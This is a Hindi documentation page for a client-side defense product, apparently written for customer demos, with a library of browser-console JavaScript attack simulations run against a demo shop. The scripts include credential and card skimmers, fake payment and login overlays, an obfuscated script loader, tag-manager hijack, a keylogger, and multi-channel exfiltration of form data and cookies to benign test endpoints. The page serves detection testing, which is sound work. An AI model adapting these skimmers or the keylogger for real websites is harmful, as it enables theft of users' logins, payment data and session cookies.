इसे छोड़कर कंटेंट पर जाएं
क्लाइंट-साइड डिफेंस

अटैक स्क्रिप्ट लाइब्रेरी

यह पृष्ठ श्रेणी के अनुसार व्यवस्थित अटैक सिमुलेशन स्क्रिप्ट की एक लाइब्रेरी प्रदान करता है। प्रत्येक स्क्रिप्ट एक स्वयं-निष्पादित फ़ंक्शन (IIFE) है जिसे डेमो एप्लिकेशन पर ब्राउज़र DevTools Console में पेस्ट करने के लिए डिज़ाइन किया गया है। ग्राहक डेमो के दौरान विशिष्ट CSD डिटेक्शन क्षमताओं का परीक्षण करने के लिए इन स्क्रिप्ट का उपयोग करें।

सुरक्षा नियम

Section titled “सुरक्षा नियम”

इस लाइब्रेरी की सभी स्क्रिप्ट इन परंपराओं का पालन करती हैं:

  • IIFE फ़ॉर्मेट — स्वयं-निष्पादित, DevTools Console में पेस्ट-एंड-रन
  • सुरक्षित एक्सफ़िल लक्ष्य — www.httpbin.org, jsonplaceholder.typicode.com
  • सुरक्षित स्क्रिप्ट स्रोत — cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io (सौम्य लाइब्रेरी लोड करना)
  • mode: 'no-cors' सभी fetch कॉल पर
  • var घोषणाएँ Console संगतता के लिए
  • Console आउटपुट [CSD Demo] और एक श्रेणी टैग के साथ उपसर्गित
  • कोई वास्तविक दुर्भावनापूर्ण पेलोड नहीं

1. फ़ॉर्मजैकिंग और क्रेडेंशियल हार्वेस्टिंग

Section titled “1. फ़ॉर्मजैकिंग और क्रेडेंशियल हार्वेस्टिंग”

लॉगिन पेज क्रेडेंशियल स्किमर

Section titled “लॉगिन पेज क्रेडेंशियल स्किमर”

लक्ष्य पृष्ठ: /#/login — चलाने से पहले डमी क्रेडेंशियल दर्ज करें

CSD संकेत: फ़ॉर्म फ़ील्ड रीड (email, password), नेटवर्क (बाहरी डोमेन पर fetch)

Login Credential Skimmer
// CSD Demo — Login Credential Skimmer
(function() {
    console.log('[CSD Demo][Formjack] Starting login credential skimmer...');


    // Read existing form fields (CSD detects field reads on page-load DOM fields)
    var inputs = document.querySelectorAll('input');
    var creds = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        creds[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][Formjack] Harvested credentials:', creds);


    // Exfiltrate via fetch
    var payload = JSON.stringify({ type: 'login_harvest', data: creds, timestamp: Date.now() });
    fetch('https://www.httpbin.org/post', {
        method: 'POST',
        mode: 'no-cors',
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Formjack] Credentials exfiltrated to www.httpbin.org');
    });


    console.log('[CSD Demo][Formjack] Simulation complete.');
})();

CSD Console में सत्यापित करें:

  • Script List — ऐप्लिकेशन स्क्रिप्ट (जैसे main.js) email और password फ़ील्ड पढ़ने के लिए High Risk के रूप में फ़्लैग की गई
  • Form Fields — email और password को Sensitive (सिस्टम द्वारा) दिखाया गया

रजिस्ट्रेशन पेज हार्वेस्टर

Section titled “रजिस्ट्रेशन पेज हार्वेस्टर”

लक्ष्य पृष्ठ: /#/register — चलाने से पहले सभी फ़ील्ड भरें

CSD संकेत: फ़ॉर्म फ़ील्ड रीड (email, password, सुरक्षा प्रश्न)

Registration Page Harvester
// CSD Demo — Registration Page Harvester
(function() {
    console.log('[CSD Demo][Formjack] Starting registration harvester...');


    var inputs = document.querySelectorAll('input, select');
    var data = {};
    inputs.forEach(function(el) {
        var name = el.name || el.id || el.type || el.tagName;
        data[name] = el.value || '(empty)';
    });
    console.log('[CSD Demo][Formjack] Registration data harvested:', data);


    var payload = JSON.stringify({ type: 'registration_harvest', data: data, timestamp: Date.now() });
    fetch('https://jsonplaceholder.typicode.com/posts', {
        method: 'POST',
        mode: 'no-cors',
        headers: { 'Content-Type': 'application/json' },
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Formjack] Registration data exfiltrated to jsonplaceholder.typicode.com');
    });


    console.log('[CSD Demo][Formjack] Simulation complete.');
})();

CSD Console में सत्यापित करें:

  • Form Fields — रजिस्ट्रेशन फ़ील्ड संवेदनशीलता वर्गीकरण के साथ दिखाई देती हैं
  • Script List — रजिस्ट्रेशन फ़ील्ड पढ़ने वाली स्क्रिप्ट समीक्षा के लिए फ़्लैग की गई

2. डिजिटल स्किमिंग

Section titled “2. डिजिटल स्किमिंग”

पेमेंट पेज कार्ड स्किमर

Section titled “पेमेंट पेज कार्ड स्किमर”

लक्ष्य पृष्ठ: /#/login (Juice Shop चेकआउट के लिए प्रमाणीकरण आवश्यक है — ओवरले तकनीक प्रदर्शित करने के लिए लॉगिन पेज का उपयोग करें)

CSD संकेत: स्क्रिप्ट इंजेक्शन (ओवरले फ़ॉर्म), फ़ॉर्म फ़ील्ड रीड (मूल फ़ील्ड)

Payment Card Skimmer (Overlay)
// CSD Demo — Payment Card Skimmer (Overlay Technique)
(function() {
    console.log('[CSD Demo][Skim] Starting payment card skimmer simulation...');


    // Step 1: Read existing form fields first
    var inputs = document.querySelectorAll('input');
    var existing = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        existing[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][Skim] Existing fields harvested:', existing);


    // Step 2: Inject a fake overlay form (CSD detects the script injection)
    var overlay = document.createElement('div');
    overlay.id = 'csd-demo-overlay';
    overlay.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.7);z-index:99999;display:flex;align-items:center;justify-content:center;';
    overlay.innerHTML = '<div style="background:white;padding:30px;border-radius:8px;max-width:400px;width:100%;">' +
        '<h3 style="margin:0 0 15px;color:#333;">Payment Verification Required</h3>' +
        '<p style="color:#666;font-size:14px;">Session expired. Re-enter payment details.</p>' +
        '<div style="margin:10px 0;padding:8px;border:1px solid #ccc;border-radius:4px;color:#999;">4111-XXXX-XXXX-1111</div>' +
        '<div style="margin:10px 0;padding:8px;border:1px solid #ccc;border-radius:4px;color:#999;">CVV: ***</div>' +
        '<div style="text-align:right;margin-top:15px;">' +
        '<button onclick="document.getElementById(\'csd-demo-overlay\').remove();console.log(\'[CSD Demo][Skim] Overlay dismissed\');" style="padding:8px 20px;background:#4CAF50;color:white;border:none;border-radius:4px;cursor:pointer;">Verify</button></div></div>';
    document.body.appendChild(overlay);
    console.log('[CSD Demo][Skim] Fake payment overlay injected into DOM');


    // Step 3: Exfiltrate captured data
    var payload = JSON.stringify({ type: 'card_skim', captured: existing, timestamp: Date.now() });
    fetch('https://www.httpbin.org/post', {
        method: 'POST',
        mode: 'no-cors',
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Skim] Skimmed data exfiltrated to www.httpbin.org');
    });


    console.log('[CSD Demo][Skim] Simulation complete. Click "Verify" on the overlay to dismiss it.');
})();
Payment overlay injected by card skimmer scriptPayment overlay injected by card skimmer script

CSD Console में सत्यापित करें:

  • Script List — DOM मैनिपुलेशन और फ़ील्ड रीड के लिए स्क्रिप्ट फ़्लैग की गई
  • Form Fields — मूल पेज फ़ील्ड रीड गतिविधि के साथ दिखाई दी

मल्टी-स्टेज ऑब्फ़स्केटेड लोडर

Section titled “मल्टी-स्टेज ऑब्फ़स्केटेड लोडर”

लक्ष्य पृष्ठ: डेमो साइट पर कोई भी पृष्ठ

CSD संकेत: स्क्रिप्ट इंजेक्शन (डीकोड किया गया पेलोड नया स्क्रिप्ट टैग बनाता है)

Multi-Stage Obfuscated Loader
// CSD Demo — Multi-Stage Obfuscated Loader
(function() {
    console.log('[CSD Demo][Skim] Starting obfuscated loader simulation...');


    // Stage 1: Base64-encoded script URL (simulates obfuscation)
    var encoded = btoa('https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js');
    console.log('[CSD Demo][Skim] Stage 1: Encoded payload:', encoded);


    // Stage 2: Decode and inject
    var decoded = atob(encoded);
    console.log('[CSD Demo][Skim] Stage 2: Decoded URL:', decoded);


    var script = document.createElement('script');
    script.src = decoded;
    script.onload = function() {
        console.log('[CSD Demo][Skim] Stage 3: Decoded script loaded successfully from', decoded);
    };
    script.onerror = function() {
        console.log('[CSD Demo][Skim] Stage 3: Script load attempted (may be blocked by CSP)');
    };
    document.head.appendChild(script);


    console.log('[CSD Demo][Skim] Simulation complete. CSD detects the injected script tag regardless of encoding.');
})();

CSD Console में सत्यापित करें:

  • Script List — cdn.jsdelivr.net स्क्रिप्ट नई प्रविष्टि के रूप में दिखाई देती है
  • Network — cdn.jsdelivr.net डोमेन सूचीबद्ध

3. सप्लाई चेन और स्क्रिप्ट इंजेक्शन

Section titled “3. सप्लाई चेन और स्क्रिप्ट इंजेक्शन”

मल्टी-CDN इंजेक्शन

Section titled “मल्टी-CDN इंजेक्शन”

लक्ष्य पृष्ठ: डेमो साइट पर कोई भी पृष्ठ

CSD संकेत: स्क्रिप्ट इंजेक्शन (4 नए थर्ड-पार्टी स्क्रिप्ट टैग), नेटवर्क (4 नए डोमेन)

Multi-CDN Script Injection
// CSD Demo — Multi-CDN Script Injection
(function() {
    console.log('[CSD Demo][Supply Chain] Starting multi-CDN injection...');


    var cdns = [
        { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
        { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
        { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
        { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
    ];


    cdns.forEach(function(cdn) {
        var script = document.createElement('script');
        script.src = cdn.url;
        script.type = 'module';
        script.onload = function() {
            console.log('[CSD Demo][Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url);
        };
        script.onerror = function() {
            console.log('[CSD Demo][Supply Chain] Load attempted from ' + cdn.name + ' (may be blocked)');
        };
        document.head.appendChild(script);
        console.log('[CSD Demo][Supply Chain] Injected script tag: ' + cdn.name);
    });


    console.log('[CSD Demo][Supply Chain] 4 third-party scripts injected. CSD will detect all 4 new domains.');
})();

CSD Console में सत्यापित करें:

  • Script List — cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io से 4 नई स्क्रिप्ट प्रविष्टियाँ
  • Network — सभी 4 CDN डोमेन All Domains सूची में दिखाई देते हैं

टैग मैनेजर हाइजैक सिमुलेशन

Section titled “टैग मैनेजर हाइजैक सिमुलेशन”

लक्ष्य पृष्ठ: डेमो साइट पर कोई भी पृष्ठ

CSD संकेत: स्क्रिप्ट इंजेक्शन (नकली एनालिटिक्स/टैग मैनेजर स्क्रिप्ट)

Tag Manager Hijack
// CSD Demo — Tag Manager Hijack
(function() {
    console.log('[CSD Demo][Supply Chain] Starting tag manager hijack simulation...');


    // Simulate a compromised tag manager loading a malicious analytics script
    var fakeTag = document.createElement('script');
    fakeTag.src = 'https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js';
    fakeTag.setAttribute('data-tag-manager', 'hijacked');
    fakeTag.onload = function() {
        console.log('[CSD Demo][Supply Chain] Fake analytics script loaded via tag manager hijack');


        // After loading, read form fields (simulating data collection by compromised tag)
        var inputs = document.querySelectorAll('input');
        var collected = {};
        inputs.forEach(function(input) {
            var name = input.name || input.id || input.type;
            collected[name] = input.value || '(empty)';
        });
        console.log('[CSD Demo][Supply Chain] Compromised tag collected form data:', collected);
    };
    fakeTag.onerror = function() {
        console.log('[CSD Demo][Supply Chain] Script load attempted (may be blocked)');
    };
    document.head.appendChild(fakeTag);


    console.log('[CSD Demo][Supply Chain] Tag manager hijack simulation complete.');
})();

CSD Console में सत्यापित करें:

  • Script List — cdn.jsdelivr.net से नई स्क्रिप्ट chart.js पाथ के साथ
  • Form Fields — यदि फ़ॉर्म वाले पृष्ठ पर चलाया जाए, तो फ़ील्ड रीड गतिविधि बढ़ती है

4. डेटा एक्सफ़िल्ट्रेशन चैनल

Section titled “4. डेटा एक्सफ़िल्ट्रेशन चैनल”

मल्टी-चैनल एक्सफ़िल्ट्रेशन

Section titled “मल्टी-चैनल एक्सफ़िल्ट्रेशन”

लक्ष्य पृष्ठ: /#/login — चलाने से पहले डमी क्रेडेंशियल दर्ज करें

CSD संकेत: फ़ॉर्म फ़ील्ड रीड, नेटवर्क (fetch स्रोत डोमेन)

Multi-Channel Exfiltration
// CSD Demo — Multi-Channel Exfiltration
(function() {
    console.log('[CSD Demo][Exfil] Starting multi-channel exfiltration...');


    // Harvest form fields
    var inputs = document.querySelectorAll('input');
    var data = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        data[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][Exfil] Data harvested:', data);
    var payload = JSON.stringify({ type: 'multi_channel', data: data, timestamp: Date.now() });


    // Channel 1: Fetch POST
    fetch('https://www.httpbin.org/post', {
        method: 'POST',
        mode: 'no-cors',
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Exfil] Channel 1 (fetch POST) sent to www.httpbin.org');
    });


    // Channel 2: Image beacon
    var img = new Image();
    img.src = 'https://www.httpbin.org/get?data=' + encodeURIComponent(payload).substring(0, 200);
    img.onload = function() { console.log('[CSD Demo][Exfil] Channel 2 (image beacon) sent to www.httpbin.org'); };
    img.onerror = function() { console.log('[CSD Demo][Exfil] Channel 2 (image beacon) attempted'); };
    console.log('[CSD Demo][Exfil] Channel 2 (image beacon) initiated');


    // Channel 3: Link prefetch
    var link = document.createElement('link');
    link.rel = 'prefetch';
    link.href = 'https://jsonplaceholder.typicode.com/posts?exfil=' + encodeURIComponent(payload).substring(0, 200);
    document.head.appendChild(link);
    console.log('[CSD Demo][Exfil] Channel 3 (link prefetch) injected');


    console.log('[CSD Demo][Exfil] 3 exfil channels attempted. Note: CSD Network view tracks script source domains, not fetch/beacon destinations.');
})();

CSD Console में सत्यापित करें:

  • Form Fields — email और password फ़ील्ड रीड गतिविधि दिखाती हैं
  • Script List — ऐप्लिकेशन स्क्रिप्ट फ़ील्ड रीड के लिए फ़्लैग की गई

हाई-वॉल्यूम डोमेन एक्सफ़िल्ट्रेशन

Section titled “हाई-वॉल्यूम डोमेन एक्सफ़िल्ट्रेशन”

लक्ष्य पृष्ठ: /#/login — चलाने से पहले डमी क्रेडेंशियल दर्ज करें

CSD संकेत: फ़ॉर्म फ़ील्ड रीड, स्क्रिप्ट इंजेक्शन (कई डोमेन से स्क्रिप्ट टैग)

High-Volume Domain Exfiltration
// CSD Demo — High-Volume Domain Exfiltration
(function() {
    console.log('[CSD Demo][Exfil] Starting high-volume exfiltration simulation...');


    // Harvest form data
    var inputs = document.querySelectorAll('input');
    var data = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        data[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][Exfil] Data harvested:', data);


    // Inject scripts from multiple CDN domains (these WILL appear in CSD Network view)
    var sources = [
        'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js',
        'https://esm.sh/moment@2.30.1',
        'https://unpkg.com/underscore@1.13.7/underscore-min.js',
        'https://cdn.jsdelivr.net/npm/chart.js@4.4.7/dist/chart.umd.min.js',
        'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js'
    ];


    sources.forEach(function(src, i) {
        var script = document.createElement('script');
        script.src = src;
        script.type = 'module';
        script.onload = function() {
            console.log('[CSD Demo][Exfil] Script ' + (i + 1) + '/' + sources.length + ' loaded: ' + src);
        };
        script.onerror = function() {
            console.log('[CSD Demo][Exfil] Script ' + (i + 1) + ' load attempted');
        };
        document.head.appendChild(script);
    });


    // Also send via fetch to safe endpoints
    var payload = JSON.stringify({ type: 'high_volume', data: data, timestamp: Date.now() });
    fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload });
    fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', body: payload });


    console.log('[CSD Demo][Exfil] ' + sources.length + ' script injections + 2 fetch channels. Script domains will appear in CSD Network view.');
})();

CSD Console में सत्यापित करें:

  • Script List — 5 नई थर्ड-पार्टी स्क्रिप्ट प्रविष्टियाँ
  • Network — cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io डोमेन सूचीबद्ध
  • Form Fields — लॉगिन फ़ील्ड रीड गतिविधि दिखाती हैं

5. DOM मैनिपुलेशन और ओवरले

Section titled “5. DOM मैनिपुलेशन और ओवरले”

फ़ॉर्म ओवरले अटैक

Section titled “फ़ॉर्म ओवरले अटैक”

लक्ष्य पृष्ठ: /#/login

CSD संकेत: फ़ॉर्म फ़ील्ड रीड (ओवरले लगाने से पहले मूल फ़ील्ड पढ़ता है)

Form Overlay Attack
// CSD Demo — Form Overlay Attack
(function() {
    console.log('[CSD Demo][DOM] Starting form overlay attack...');


    // Read the real form fields first
    var inputs = document.querySelectorAll('input');
    var realData = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        realData[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][DOM] Real form data captured:', realData);


    // Find the form container and overlay it
    var form = document.querySelector('form') || document.querySelector('[class*="login"]') || document.querySelector('mat-card');
    if (form) {
        var rect = form.getBoundingClientRect();
        var overlay = document.createElement('div');
        overlay.id = 'csd-demo-form-overlay';
        overlay.style.cssText = 'position:fixed;top:' + rect.top + 'px;left:' + rect.left + 'px;width:' + rect.width + 'px;height:' + rect.height + 'px;background:white;z-index:99999;display:flex;flex-direction:column;justify-content:center;padding:20px;box-sizing:border-box;border:2px solid #e0e0e0;border-radius:8px;';
        overlay.innerHTML = '<h4 style="margin:0 0 10px;color:#333;">Sign In</h4>' +
            '<input type="email" placeholder="Email" style="margin:5px 0;padding:8px;border:1px solid #ccc;border-radius:4px;" />' +
            '<input type="password" placeholder="Password" style="margin:5px 0;padding:8px;border:1px solid #ccc;border-radius:4px;" />' +
            '<button onclick="document.getElementById(\'csd-demo-form-overlay\').remove();console.log(\'[CSD Demo][DOM] Overlay dismissed\');" style="margin-top:10px;padding:8px;background:#1976d2;color:white;border:none;border-radius:4px;cursor:pointer;">Log in</button>';
        document.body.appendChild(overlay);
        console.log('[CSD Demo][DOM] Transparent overlay form placed over real login form');
    } else {
        console.log('[CSD Demo][DOM] No form container found — overlay skipped');
    }


    console.log('[CSD Demo][DOM] Simulation complete. The overlay captures input instead of the real form.');
})();
Fake login form overlaying the real formFake login form overlaying the real form

CSD Console में सत्यापित करें:

  • Form Fields — मूल email और password फ़ील्ड रीड गतिविधि दिखाती हैं
  • Script List — फ़ील्ड एक्सेस के लिए स्क्रिप्ट फ़्लैग की गई

कीलॉगर सिमुलेशन

Section titled “कीलॉगर सिमुलेशन”

लक्ष्य पृष्ठ: /#/login

CSD संकेत: फ़ॉर्म फ़ील्ड रीड (लिसनर अटैच करने के लिए input एलिमेंट एक्सेस करता है)

Keylogger Simulation
// CSD Demo — Keylogger Simulation
(function() {
    console.log('[CSD Demo][DOM] Starting keylogger simulation...');


    var keyBuffer = [];
    var flushInterval = 5000;


    // Attach keydown listener to capture keystrokes
    document.addEventListener('keydown', function(e) {
        keyBuffer.push({
            key: e.key,
            target: (e.target.name || e.target.id || e.target.tagName),
            timestamp: Date.now()
        });
        if (keyBuffer.length >= 10) {
            console.log('[CSD Demo][DOM] Keylogger buffer (last 10 keys):', JSON.parse(JSON.stringify(keyBuffer.slice(-10))));
        }
    });
    console.log('[CSD Demo][DOM] Keydown listener attached to document');


    // Also read current form field values
    var inputs = document.querySelectorAll('input');
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        console.log('[CSD Demo][DOM] Monitoring field: ' + name + ' (current value: ' + (input.value || '(empty)') + ')');
    });


    // Periodic flush simulation
    var flushCount = 0;
    var interval = setInterval(function() {
        flushCount++;
        if (keyBuffer.length > 0) {
            console.log('[CSD Demo][DOM] Keylogger flush #' + flushCount + ':', keyBuffer.length, 'keystrokes captured');
            fetch('https://www.httpbin.org/post', {
                method: 'POST',
                mode: 'no-cors',
                body: JSON.stringify({ type: 'keylog', keys: keyBuffer, timestamp: Date.now() })
            });
            keyBuffer = [];
        }
        if (flushCount >= 6) {
            clearInterval(interval);
            console.log('[CSD Demo][DOM] Keylogger simulation ended (30s max duration)');
        }
    }, flushInterval);


    console.log('[CSD Demo][DOM] Keylogger active for 30 seconds. Type in form fields to see captured output.');
})();

CSD Console में सत्यापित करें:

  • Form Fields — input फ़ील्ड मॉनिटरिंग स्क्रिप्ट से रीड गतिविधि दिखाती हैं
  • Script List — फ़ॉर्म फ़ील्ड मान एक्सेस करने के लिए स्क्रिप्ट फ़्लैग की गई

6. संयुक्त स्ट्रेस टेस्ट

Section titled “6. संयुक्त स्ट्रेस टेस्ट”

अधिकतम डिटेक्शन स्क्रिप्ट

Section titled “अधिकतम डिटेक्शन स्क्रिप्ट”

यह स्क्रिप्ट सभी अटैक वेक्टर को एक ही IIFE में जोड़ती है — “अल्टीमेट डेमो” स्क्रिप्ट। इसे तब चलाएं जब आप एक ही निष्पादन में हर CSD डिटेक्शन संकेत ट्रिगर करना चाहते हों।

लक्ष्य पृष्ठ: /#/login — चलाने से पहले डमी क्रेडेंशियल दर्ज करें

CSD संकेत: फ़ॉर्म फ़ील्ड रीड, स्क्रिप्ट इंजेक्शन (4 CDN डोमेन), नेटवर्क (4 नए डोमेन)

Maximum Detection — Combined Stress Test
// CSD Demo — Maximum Detection (Combined Stress Test)
(function() {
    console.log('='.repeat(60));
    console.log('[CSD Demo] MAXIMUM DETECTION — Combined Stress Test');
    console.log('='.repeat(60));


    // Phase 1: Form Field Harvesting
    console.log('\n--- Phase 1: Form Field Harvesting ---');
    var inputs = document.querySelectorAll('input');
    var harvested = {};
    inputs.forEach(function(input) {
        var name = input.name || input.id || input.type;
        harvested[name] = input.value || '(empty)';
    });
    console.log('[CSD Demo][Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);


    // Phase 2: Multi-CDN Script Injection
    console.log('\n--- Phase 2: Supply Chain — Multi-CDN Injection ---');
    var cdns = [
        { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr (lodash)' },
        { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh (moment)' },
        { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg (underscore)' },
        { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm (dayjs)' }
    ];
    cdns.forEach(function(cdn) {
        var script = document.createElement('script');
        script.src = cdn.url;
        script.type = 'module';
        script.onload = function() {
            console.log('[CSD Demo][Supply Chain] Loaded: ' + cdn.name);
        };
        script.onerror = function() {
            console.log('[CSD Demo][Supply Chain] Load attempted: ' + cdn.name);
        };
        document.head.appendChild(script);
        console.log('[CSD Demo][Supply Chain] Injected: ' + cdn.name);
    });


    // Phase 3: Data Exfiltration (multiple channels)
    console.log('\n--- Phase 3: Data Exfiltration ---');
    var payload = JSON.stringify({
        type: 'max_detection',
        credentials: harvested,
        page: window.location.href,
        cookies: document.cookie,
        timestamp: Date.now()
    });


    // Fetch POST
    fetch('https://www.httpbin.org/post', {
        method: 'POST',
        mode: 'no-cors',
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Exfil] Fetch POST sent to www.httpbin.org');
    });


    // Fetch POST (second endpoint)
    fetch('https://jsonplaceholder.typicode.com/posts', {
        method: 'POST',
        mode: 'no-cors',
        headers: { 'Content-Type': 'application/json' },
        body: payload
    }).then(function() {
        console.log('[CSD Demo][Exfil] Fetch POST sent to jsonplaceholder.typicode.com');
    });


    // Image beacon
    var img = new Image();
    img.src = 'https://www.httpbin.org/get?beacon=' + encodeURIComponent(payload).substring(0, 200);
    console.log('[CSD Demo][Exfil] Image beacon sent to www.httpbin.org');


    // Phase 4: DOM Manipulation
    console.log('\n--- Phase 4: DOM Manipulation ---');
    var banner = document.createElement('div');
    banner.id = 'csd-demo-banner';
    banner.style.cssText = 'position:fixed;top:0;left:0;width:100%;padding:12px;background:#d32f2f;color:white;text-align:center;z-index:99999;font-family:sans-serif;font-size:14px;';
    banner.innerHTML = 'CSD Demo: Attack simulation active — ' + cdns.length + ' scripts injected, ' + Object.keys(harvested).length + ' fields harvested ' +
        '<button onclick="document.getElementById(\'csd-demo-banner\').remove();" style="margin-left:15px;padding:4px 12px;background:white;color:#d32f2f;border:none;border-radius:3px;cursor:pointer;">Dismiss</button>';
    document.body.appendChild(banner);
    console.log('[CSD Demo][DOM] Attack status banner injected');


    // Summary
    console.log('\n' + '='.repeat(60));
    console.log('[CSD Demo] SIMULATION COMPLETE');
    console.log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
    console.log('[CSD Demo] Scripts injected: ' + cdns.length + ' (from ' + cdns.length + ' CDN domains)');
    console.log('[CSD Demo] Exfil channels: 3 (2x fetch + 1x image beacon)');
    console.log('[CSD Demo] Detection takes 5-10 minutes to appear in CSD console.');
    console.log('='.repeat(60));
})();
Console output from maximum detection scriptConsole output from maximum detection script

CSD Console में सत्यापित करें (5-10 मिनट बाद):

  • Dashboard — Transactions Consumed काउंटर बढ़ता है
  • Script List — ऐप्लिकेशन स्क्रिप्ट High Risk के रूप में फ़्लैग; CDN डोमेन से 4 नई थर्ड-पार्टी स्क्रिप्ट
  • Form Fields — email और password को Sensitive (सिस्टम द्वारा) के रूप में वर्गीकृत किया गया, रीड गतिविधि के साथ
  • Network — cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io All Domains में दिखाई देते हैं
  • Affected Users — आपका सत्र IP, जियोलोकेशन, ब्राउज़र, डिवाइस जानकारी के साथ दिखाई देता है